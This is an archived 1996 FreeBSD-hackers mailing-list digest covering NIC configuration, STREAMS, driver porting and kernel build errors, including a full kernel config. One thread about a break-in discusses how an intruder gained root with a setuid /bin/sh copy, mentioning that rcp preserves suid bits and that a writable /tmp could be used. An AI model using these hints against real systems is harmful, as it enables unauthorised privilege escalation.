idea, long term. anyway, MINI may be a little too far out for standard ATM world right now. I'll be doing this the way I outlined, and it may not fit in with whatever standard comes up. ah well, mini is pretty non-standard anyways. We like its non-standardness, though :-) ron From owner-freebsd-hackers Tue Jun 25 20:44:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA01340 for hackers-outgoing; Tue, 25 Jun 1996 20:44:34 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA01327 for ; Tue, 25 Jun 1996 20:44:12 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id JAA22043; Wed, 26 Jun 1996 09:44:00 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199606260344.JAA22043@hq.icb.chel.su> Subject: Re: How do I configure 3 3c509's? To: cyrusgr@keanesea.com (Cyrus Gray) Date: Wed, 26 Jun 1996 09:43:59 +0600 (ESD) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Cyrus Gray" at Jun 25, 96 01:20:12 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > how do I configure 3 3c509's under FreeBSD ? > I can get one setup just fine but when I try > enable ep1, or enable ep2 it doesn't work > any help would be appriciated Did you configured them to different I/O ports using the configuration diskette ? -SB From owner-freebsd-hackers Tue Jun 25 22:06:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA05859 for hackers-outgoing; Tue, 25 Jun 1996 22:06:36 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA05854; Tue, 25 Jun 1996 22:06:33 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.7.3) with SMTP id WAA00462; Tue, 25 Jun 1996 22:06:19 -0700 (PDT) Message-Id: <199606260506.WAA00462@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Tony Sterrett cc: Joao Carlos Mendes Luis , questions@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: STREAMS In-reply-to: Your message of Tue, 25 Jun 96 11:57:11 -0700. Date: Tue, 25 Jun 1996 22:06:17 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> I took a look at linux streams implementation and that is completely >> out-performing. We could do really better if there was critical mass >> enough to start this project. Not to be a skeptic (OK, to be a skeptic) what solid data supports this linux streams thing being "completely out-performing"? Not to bash the Linux folks, but their enthusiasm and exhuberance many times overwhelms their ability to judge accurately. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Tue Jun 25 22:24:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA06586 for hackers-outgoing; Tue, 25 Jun 1996 22:24:38 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA06512; Tue, 25 Jun 1996 22:21:54 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.7.3) with SMTP id WAA00500; Tue, 25 Jun 1996 22:11:17 -0700 (PDT) Message-Id: <199606260511.WAA00500@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: -Vince- cc: "Eric J. Schwertfeger" , Mark Murray , hackers@freebsd.org, security@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of Tue, 25 Jun 96 13:03:06 -0700. Date: Tue, 25 Jun 1996 22:11:14 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >On Tue, 25 Jun 1996, Eric J. Schwertfeger wrote: >> On Tue, 25 Jun 1996, -Vince- wrote: >> > Yeah, you have a point but jbhunt was watching the user as he >> > hacked root since he brought the file from his own machine.... so that >> > wasn't something the admin was tricked into doing.. >> Then the important question is, how did he move the file so that it >> retained the setuid bit? We're already pretty sure that the program is >> only /bin/sh with the setuid bit turned on. So either he found a way to >> move the file with the bit turned on, or he found a way to turn it on, >> which reqires root access. > It was a remote login so he had to transfer it over somehow... Well, *if* that's true, it still wouldn't be setuid root just from the transfer. He'd *still* have to get root some other way to make this binary setuid root. But if he's going to do that, why bother copying a binary over the network -- it would just be easier to just snag a copy of your own /bin/sh and mark it setuid root. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Tue Jun 25 23:17:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA10768 for hackers-outgoing; Tue, 25 Jun 1996 23:17:49 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA10761; Tue, 25 Jun 1996 23:17:47 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id XAA02006; Tue, 25 Jun 1996 23:15:54 -0700 From: Terry Lambert Message-Id: <199606260615.XAA02006@phaeton.artisoft.com> Subject: Re: STREAMS To: michaelv@HeadCandy.com (Michael L. VanLoon -- HeadCandy.com) Date: Tue, 25 Jun 1996 23:15:54 -0700 (MST) Cc: sterrett@cts.com, jonny@gaia.coppe.ufrj.br, questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199606260506.WAA00462@MindBender.HeadCandy.com> from "Michael L. VanLoon -- HeadCandy.com" at Jun 25, 96 10:06:17 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >> I took a look at linux streams implementation and that is completely > >> out-performing. We could do really better if there was critical mass > >> enough to start this project. > > Not to be a skeptic (OK, to be a skeptic) what solid data supports > this linux streams thing being "completely out-performing"? Not to > bash the Linux folks, but their enthusiasm and exhuberance many times > overwhelms their ability to judge accurately. Probably it was worked on by Jim Freeman at Caldera, who did a lot of work on the Streams frameworks in UnixWare (SVR4.2 SMP), AIX, and Solaris before he left Novell/USG, and seriously knows what the hell he is doing. On the other hand, it could be some other guys, and I could be wrong. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Jun 26 00:03:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA13341 for hackers-outgoing; Wed, 26 Jun 1996 00:03:53 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA13329 for ; Wed, 26 Jun 1996 00:03:45 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id QAA04690; Wed, 26 Jun 1996 16:18:58 +0930 From: Michael Smith Message-Id: <199606260648.QAA04690@genesis.atrad.adelaide.edu.au> Subject: Re: Help with Linux device on FreeBSD!!] To: housley@pr-comm.com Date: Wed, 26 Jun 1996 16:18:57 +0930 (CST) Cc: freebsd-hackers@freebsd.org In-Reply-To: <9606251504.AA4047@pr-comm.com> from "James Housley" at Jun 25, 96 10:58:57 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk James Housley stands accused of saying: > I have the source code for a Linux device that interfaces gdb to the > Motorola 683xx processors BDM. The code is fairly simple. I would > like to re-write it to run on FreeBSD, since I would prefer to > install FreeBSD. I will use Linux if I have to. Don't! 8) > What I am looking for is the source to /dev/lpt[x] or /dev/io. With > this I believe I can write the device I need. The 'lpt' driver source is in /sys/i386/isa.lpt.c. There is no source for /dev/io; opening it grants your process I/O permissions, and direct I/O operations can then be performed. (See the macros in /usr/include/machine/cpufunc.c) > I have downloaded all the s.*\.[ab][a-z] files. I have started > looking through them but having a hard time finding out where the > sources are. Are they part of this package? Or are they part of > some other files? All help would be greatly appreciated. Unpack the 'ssys.*' files; this is the kernel source. > E-Mail: James E. Housley | PGP Key: pub 1024/03983B4D -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 26 00:25:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA14533 for hackers-outgoing; Wed, 26 Jun 1996 00:25:35 -0700 (PDT) Received: from proxy.siemens.at (proxy.siemens.at [192.138.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA14467 for ; Wed, 26 Jun 1996 00:24:45 -0700 (PDT) Received: from sol1.gud.siemens.co.at (sol-f.gud.siemens-austria) by proxy.siemens.at with SMTP id AA27221 (5.67a/IDA-1.5 for ); Wed, 26 Jun 1996 09:23:55 +0200 Received: from ws2301.gud.siemens.co.at by sol1.gud.siemens.co.at with smtp (Smail3.1.28.1 #7 for ) id m0uYox9-00021GC; Wed, 26 Jun 96 09:23 MET DST Received: by ws2301.gud.siemens.co.at (1.37.109.16/1.37) id AA108163778; Wed, 26 Jun 1996 09:22:58 +0200 From: "Hr.Ladavac" Message-Id: <199606260722.AA108163778@ws2301.gud.siemens.co.at> Subject: Re: I need help on this one - please help me track this guy down! To: terry@lambert.org (Terry Lambert) Date: Wed, 26 Jun 1996 09:22:58 +0200 (MESZ) Cc: alk@Think.COM, jbhunt@mercury.gaianet.net, hackers@freebsd.org In-Reply-To: <199606252143.OAA00994@phaeton.artisoft.com> from "Terry Lambert" at Jun 25, 96 02:43:37 pm X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In his e-mail Terry Lambert wrote: > > I suggest inducing the user to repeat her exploit. Take the system > > down. Wipe the user's directory. Bring it up, with a motd reporting > > a disk crash, and partial restoration. Log everything the user does. > > > > Or, you might just *ask*. Most folks who hack a random ISP system do > > it for fun, and love to brag about it. > > rcp preserves suid/sgid on the target system. Now look for a writeable > sticky directory... Ten dollar gets you one it's called /tmp ... No wonder people mount /var as nosuid noexec nodev and link /tmp to /var/tmp :) /Marino PS: you sure about rcp? (I'm gonna try it anyway :) > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > From owner-freebsd-hackers Wed Jun 26 01:06:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA18222 for hackers-outgoing; Wed, 26 Jun 1996 01:06:17 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA18206 for ; Wed, 26 Jun 1996 01:06:11 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id JAA27001 for ; Wed, 26 Jun 1996 09:09:42 +0100 Date: Wed, 26 Jun 1996 09:09:41 +0100 (BST) From: Developer To: hackers@freebsd.org Subject: BSD 2.2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm having a problem trying to compile the new bsd v2.2 kernel 960612 snap. When it gets to the loading kernel stage I get the following linker error:- ioconf.o: Undefined symbol `_btintr' referenced from data segment ioconf.o: Undefined symbol `_ahcdriver' referenced from data segment ioconf.o: Undefined symbol `_ahcintr' referenced from data segment *** Error code 1 Has anyone any ideas what I'm doing wrong? Please reply by email to: dev@flevel.co.uk Thanks very much in advance. Trefor S. From owner-freebsd-hackers Wed Jun 26 01:26:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA19917 for hackers-outgoing; Wed, 26 Jun 1996 01:26:26 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA19908 for ; Wed, 26 Jun 1996 01:26:21 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id JAA28128 for ; Wed, 26 Jun 1996 09:29:57 +0100 Date: Wed, 26 Jun 1996 09:29:56 +0100 (BST) From: Developer To: hackers@freebsd.org Subject: BSD V2.2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Following up on my last posting.. Ive been trying to compile the BSD V2.2 960612 snap kernel.. Ive found the problems are having are because config is not generating the ioconf.c and ioconf.h files correctly. Has any ideas why this could be (The symbol names it is putting in are wrong!)? Please reply by email to: dev@flevel.co.uk Thanks in Advance. Trefor S. From owner-freebsd-hackers Wed Jun 26 02:00:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA22549 for hackers-outgoing; Wed, 26 Jun 1996 02:00:37 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA22544 for ; Wed, 26 Jun 1996 02:00:31 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id SAA05378; Wed, 26 Jun 1996 18:16:57 +0930 From: Michael Smith Message-Id: <199606260846.SAA05378@genesis.atrad.adelaide.edu.au> Subject: Re: BSD 2.2 To: dev@fgate.flevel.co.uk (Developer) Date: Wed, 26 Jun 1996 18:16:56 +0930 (CST) Cc: hackers@freebsd.org In-Reply-To: from "Developer" at Jun 26, 96 09:09:41 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Developer stands accused of saying: > > > I'm having a problem trying to compile the new bsd v2.2 kernel 960612 > snap. When it gets to the loading kernel stage I get the following linker > error:- > > ioconf.o: Undefined symbol `_btintr' referenced from data segment > ioconf.o: Undefined symbol `_ahcdriver' referenced from data segment > ioconf.o: Undefined symbol `_ahcintr' referenced from data segment > *** Error code 1 > > Has anyone any ideas what I'm doing wrong? Yeah, 960612 is a _2.1_ SNAP. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 26 02:04:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA22881 for hackers-outgoing; Wed, 26 Jun 1996 02:04:28 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA22872 for ; Wed, 26 Jun 1996 02:04:24 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id SAA05396; Wed, 26 Jun 1996 18:20:52 +0930 From: Michael Smith Message-Id: <199606260850.SAA05396@genesis.atrad.adelaide.edu.au> Subject: Re: BSD V2.2 To: dev@fgate.flevel.co.uk (Developer) Date: Wed, 26 Jun 1996 18:20:51 +0930 (CST) Cc: hackers@freebsd.org In-Reply-To: from "Developer" at Jun 26, 96 09:29:56 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Developer stands accused of saying: > > Following up on my last posting.. Ive been trying to compile the BSD V2.2 > 960612 snap kernel.. Ive found the problems are having are because config > is not generating the ioconf.c and ioconf.h files correctly. Has any ideas > why this could be (The symbol names it is putting in are wrong!)? Firstly, my apologies to you and one other party; I wasn't aware that there'd been another 2.2 SNAP recently (I didn't get my subscription CD?!), the only 9606* SNAP I'd seen was the 2.1-960606 version. Now, to address your question; have you built a new copy of the 'config' program to match the kernel? What you're seeing is a classic symptom of the two being out of sync. > Trefor S. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 26 02:12:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA23586 for hackers-outgoing; Wed, 26 Jun 1996 02:12:50 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA23457 for ; Wed, 26 Jun 1996 02:11:11 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id MAA09965; Wed, 26 Jun 1996 12:15:40 +0300 Date: Wed, 26 Jun 1996 12:15:39 +0300 (EET DST) From: Narvi To: Cyrus Gray cc: hackers@FreeBSD.ORG Subject: Re: How do I configure 3 3c509's? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Cyrus Gray wrote: > how do I configure 3 3c509's under FreeBSD ? > I can get one setup just fine but when I try > enable ep1, or enable ep2 it doesn't work > any help would be appriciated > What is in your kernel config file? Make sure there are as many ep devices as many network cards you have got - ep0, ep1, ep2. And *don't forget* to recompile you kernel! Sander From owner-freebsd-hackers Wed Jun 26 02:42:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA26417 for hackers-outgoing; Wed, 26 Jun 1996 02:42:10 -0700 (PDT) Received: from jraynard.demon.co.uk (jraynard.demon.co.uk [158.152.42.77]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA26361 for ; Wed, 26 Jun 1996 02:41:59 -0700 (PDT) Received: (from fhackers@localhost) by jraynard.demon.co.uk (8.6.12/8.6.12) id XAA02911; Tue, 25 Jun 1996 23:06:08 GMT Date: Tue, 25 Jun 1996 23:06:08 GMT Message-Id: <199606252306.XAA02911@jraynard.demon.co.uk> From: James Raynard To: brandon@tombstone.sunrem.com CC: freebsd-hackers@FreeBSD.org In-reply-to: (message from Brandon Gillespie on Tue, 25 Jun 1996 11:51:11 -0600 (MDT)) Subject: Re: Utility for adding a disk... Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >>>>> Brandon Gillespie writes: > > What I am wondering is if it > would be possible to simply shag various portions of sysinstall to create > a diskinstall? Just include the Partion, Label and commit steps, and > have it merge with an existing fstab when it commits..? Actually I did this a couple of weeks ago, only to find that Jordan's latest version of sysinstall allowed you to do this through command-line arguments. I didn't see the point in duplicating his work so I gave up on it; in any case I wasn't totally confident about my changes, and didn't have any way of testing it myself (although several people kindly offered to try it out). I don't even have the code now, as my disk with -current on died over the weekend 8-( -- James Raynard, Edinburgh, Scotland james@jraynard.demon.co.uk From owner-freebsd-hackers Wed Jun 26 02:43:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA26562 for hackers-outgoing; Wed, 26 Jun 1996 02:43:00 -0700 (PDT) Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA26556 for ; Wed, 26 Jun 1996 02:42:55 -0700 (PDT) Received: from guillotin.prism.uvsq.fr (guillotin.prism.uvsq.fr [193.51.25.1]) by soleil.uvsq.fr (8.7.5/jtpda-5.2) with ESMTP id LAA09425 for ; Wed, 26 Jun 1996 11:42:51 +0200 (METDST) Received: from angrand.prism.uvsq.fr (angrand.prism.uvsq.fr [193.51.25.85]) by guillotin.prism.uvsq.fr (8.7.5/jtpda-5.2) with ESMTP id LAA14165 for ; Wed, 26 Jun 1996 11:42:51 +0200 (MET DST) From: Nicolas.Souchu@prism.uvsq.fr (Nicolas SOUCHU) Received: from (son@localhost) by angrand.prism.uvsq.fr (8.7.5/jtpda-5.2) id MAA28406 ; Wed, 26 Jun 1996 12:44:52 +0200 (MET DST) Date: Wed, 26 Jun 1996 12:44:52 +0200 (MET DST) Message-Id: <199606261044.MAA28406@angrand.prism.uvsq.fr> To: hackers@freebsd.org Subject: SCSI polling mode and user process requests. Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, The SCSI stuff seems not to support polling mode for user process requests. Two return values are available to the scsi adapter when its scsi_cmd() function ends : - SUCCEFULLY_QUEUED - or COMPLETE COMPLETE means the request was polled and now everything is done. SUCCEFULLY_QUEUED means the request is queued. In the first case (COMPLETE), nothing is done by the SCSI upper stuff to wake up processes and such things, the command is supposed to be requested by the kernel. In the second case, a process requested the command then it should be waked up later by the scsi_done() function called by the scsi adapter driver interrupt when the command is complete. My driver runs only in polling mode yet... :^( There are conflicts between the COMPLETE return value and the scsi_done() call in adapter_do_scsi_cmd() necessary to wake up processes... Has anybody ever deal with this ? nicolas -- Nicolas.Souchu@prism.uvsq.fr -- http://www.prism.uvsq.fr/son~ Laboratoire PRiSM - Versailles, FRANCE From owner-freebsd-hackers Wed Jun 26 02:44:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA26682 for hackers-outgoing; Wed, 26 Jun 1996 02:44:36 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA26677 for ; Wed, 26 Jun 1996 02:44:31 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id KAA06566; Wed, 26 Jun 1996 10:48:01 +0100 Date: Wed, 26 Jun 1996 10:48:01 +0100 (BST) From: Developer To: Michael Smith cc: hackers@freebsd.org Subject: Re: BSD V2.2 In-Reply-To: <199606260850.SAA05396@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 26 Jun 1996, Michael Smith wrote: > Firstly, my apologies to you and one other party; I wasn't aware that > there'd been another 2.2 SNAP recently (I didn't get my subscription CD?!), > the only 9606* SNAP I'd seen was the 2.1-960606 version. > > Now, to address your question; have you built a new copy of the 'config' > program to match the kernel? What you're seeing is a classic symptom > of the two being out of sync. Yes, I did re-compile config.. I found the problem was that my config was wrong because the device names had changed in the new config. Now I get the problem that when I boot the kernel on a 486 dx 100 VBL machine it just loads the kernel into memory and then reboots :( Here is my config:- # # GENERIC -- Generic machine with WD/AHx/NCR/BTx family disks # # $Id: GENERIC,v 1.46.2.6 1995/10/25 17:29:51 jkh Exp $ # machine "i386" #cpu "I386_CPU" cpu "I486_CPU" cpu "I586_CPU" ident GENERIC maxusers 48 options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 options "SCSI_DELAY=15" #Be pessimistic about Joe SCSI device options BOUNCE_BUFFERS #include support for DMA bounce buffers options UCONSOLE #Allow users to grab the console options GATEWAY #Routing on options MROUTING #Multicast routing options KTRACE #Kernel tracing options FAILSAFE #Be conservative? options USER_LDT #For win emu options SYSVSHM options SYSVSEM options SYSVMSG options COMPAT_LINUX #For linux emu options QUOTA #Enable quotas config kernel root on wd0 controller isa0 controller pci0 controller eisa0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 disk fd1 at fdc0 drive 1 tape ft0 at fdc0 drive 2 controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr disk wd0 at wdc0 drive 0 disk wd1 at wdc0 drive 1 controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr disk wd2 at wdc1 drive 0 disk wd3 at wdc1 drive 1 options ATAPI #Enable ATAPI support for IDE bus options ATAPI_STATIC #not as lkm device wcd0 #IDE CD-ROM controller ncr0 controller ahb0 controller ahc0 controller bt0 at isa? port "IO_BT0" bio irq ? vector bt_isa_intr controller aha0 at isa? port "IO_AHA0" bio irq ? drq 5 vector ahaintr controller uha0 at isa? port "IO_UHA0" bio irq ? drq 5 vector uhaintr controller aic0 at isa? port 0x340 bio irq 11 vector aicintr controller nca0 at isa? port 0x1f88 bio irq 10 vector ncaintr controller nca1 at isa? port 0x350 bio irq 5 vector ncaintr controller sea0 at isa? bio irq 5 iomem 0xc8000 iosiz 0x2000 vector seaintr controller scbus0 device sd0 device od0 device st0 device cd0 #Only need one of these, the code dynamically grows device wt0 at isa? port 0x300 bio irq 5 drq 1 vector wtintr device mcd0 at isa? port 0x300 bio irq 10 vector mcdintr device mcd1 at isa? port 0x340 bio irq 11 vector mcdintr controller matcd0 at isa? port 0x230 bio device scd0 at isa? port 0x230 bio # syscons is the default console driver, resembling an SCO console device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? port "IO_KBD" tty irq 1 vector pcrint #options "PCVT_FREEBSD=210" # pcvt running on FreeBSD 2.1 #options XSERVER # include code for XFree86 device npx0 at isa? port "IO_NPX" irq 13 vector npxintr device sio0 at isa? port "IO_COM1" tty irq 4 vector siointr device sio1 at isa? port "IO_COM2" tty irq 3 vector siointr device sio2 at isa? port "IO_COM3" tty irq 5 vector siointr device sio3 at isa? port "IO_COM4" tty irq 9 vector siointr device lpt0 at isa? port? tty irq 7 vector lptintr device lpt1 at isa? port? tty device lpt2 at isa? port? tty device mse0 at isa? port 0x23c tty irq 5 vector mseintr # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. device de0 device ed0 at isa? port 0x260 net irq 3 iomem 0xd8000 vector edintr device ed1 at isa? port 0x300 net irq 5 iomem 0xd8000 vector edintr device ie0 at isa? port 0x360 net irq 7 iomem 0xd0000 vector ieintr device ep0 at isa? port 0x300 net irq 10 vector epintr device ix0 at isa? port 0x300 net irq 10 iomem 0xd0000 iosiz 32768 vector ixintr device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 vector le_intr device lnc0 at isa? port 0x280 net irq 10 drq 0 vector lncintr device lnc1 at isa? port 0x300 net irq 10 drq 0 vector lncintr device ze0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector zeintr device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000 vector zpintr pseudo-device loop pseudo-device ether pseudo-device log pseudo-device sl 1 # ijppp uses tun instead of ppp device pseudo-device ppp 8 pseudo-device sppp pseudo-device bpfilter 4 pseudo-device tun 8 pseudo-device pty 64 pseudo-device gzip # Exec gzipped a.out's Any help would be appreciated. Regards, Trefor S. From owner-freebsd-hackers Wed Jun 26 05:25:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA05088 for hackers-outgoing; Wed, 26 Jun 1996 05:25:18 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA05077 for ; Wed, 26 Jun 1996 05:25:09 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with 